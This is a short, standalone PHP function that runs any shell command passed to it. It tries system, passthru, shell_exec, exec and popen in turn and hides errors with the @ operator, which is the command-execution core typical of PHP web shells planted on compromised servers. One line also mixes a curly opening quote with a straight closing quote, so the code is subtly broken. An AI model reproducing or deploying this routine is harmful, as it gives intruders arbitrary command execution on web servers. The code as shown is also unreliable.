function execute($cmd) {      $res = '';      if ($cmd) {          if(function_exists('system')) {              @ob_start();              @system($cmd);              $res = @ob_get_contents();              @ob_end_clean();          } elseif(function_exists('passthru')) {              @ob_start();              @passthru($cmd);              $res = @ob_get_contents();              @ob_end_clean();          } elseif(function_exists('shell_exec')) {              $res = @shell_exec($cmd);          } elseif(function_exists('exec')) {              @exec($cmd,$res);              $res = join(“\n",$res);          } elseif(@is_resource($f = @popen($cmd,"r"))) {              $res = '';              while(!@feof($f)) {                  $res .= @fread($f,1024);              }              @pclose($f);          }      }      return $res;  }